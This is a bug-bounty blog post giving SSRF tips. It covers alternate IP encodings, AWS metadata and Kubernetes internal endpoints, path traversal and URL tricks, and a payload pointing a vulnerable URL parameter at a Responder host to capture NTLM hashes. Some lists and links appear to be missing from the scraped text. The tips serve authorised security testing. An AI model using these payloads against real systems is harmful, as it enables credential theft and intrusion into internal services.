SSRF Techniques for Bug Bounty Success
Written on
Chapter 1: Introduction to SSRF
Greetings, I'm Kerstan! It's Bug Bounty Tuesday, and I'm excited to share some effective SSRF techniques with you.
Let’s jump right into it! Here are several URL schemes you might want to explore:
These could potentially allow file reading. Additionally, consider sending multi-line requests for increased impact—combining gopher with Redis can often lead to Remote Code Execution (RCE).
Section 1.1: Targeting Windows Services
If you're unable to access internal services on a Windows target, don't be discouraged. You can still attempt to capture NTLM hashes using Responder with the following payload:
/vulnerable?url=http://your-responder-host
Section 1.2: Exploring IP Address Representations
Understanding how IP addresses can be represented is crucial. They can be expressed in various formats, including:
- Octal
- Decimal
- Hexadecimal
Experiment with these different representations to uncover potential vulnerabilities.
Chapter 2: Advanced SSRF Techniques
The first video highlights the exploitation of SSRF leading to file disclosure, providing valuable insights into how these vulnerabilities can be identified and exploited.
Section 2.1: Accessing Metadata on AWS
Struggling to access the metadata service at 169.254.169.254? If you're on AWS, try accessing http://instance-data instead. Understanding your target's technologies is also key—look at job postings to gather more information.
Section 2.2: Utilizing Kubernetes
Is your target utilizing Kubernetes? Check your Burp Suite history for patterns like .default.svc or .cluster.local. If you find any references, attempt to access those endpoints. You should also explore the Kubernetes API at:
Section 2.3: Brute-Forcing Service Names
In Kubernetes, you might want to brute-force the following pattern:
HOSTNAME.<some-namespace>.svc.cluster.local
I often utilize Burp Intruder with a fuzzing pattern like FUZZ.default.svc.cluster.local. If you need enhanced wordlists, consider scraping helm charts from ArtifactHub.
Chapter 3: URL Manipulation Strategies
The second video covers the journey from a basic SSRF vulnerability to achieving Remote Code Execution, elaborating on various methodologies and techniques.
Section 3.1: Creative URL Construction
Even if you can't provide a complete URL, you can still leverage SSRF! Familiarize yourself with URL structures and remember that the following characters can lead to SSRF:
- @
- ?
- #
- ;
If your injection occurs down a path, consider traversing! For example:
GET /vulnerable?id=1234app fetches: http://some-api/api/v1/1234
GET /vulnerable?id=../../app fetches: http://some-api/api/v1/../../
Finding an open redirect can also lead to internal endpoint access.
For further reading and resources, check out my reference links:
If you found this information helpful, I would appreciate a clap and a follow! Your support means a lot. For those looking to deepen their knowledge, be sure to explore my other articles on Bug Bounty topics.
PS: Don't forget to subscribe for more insights!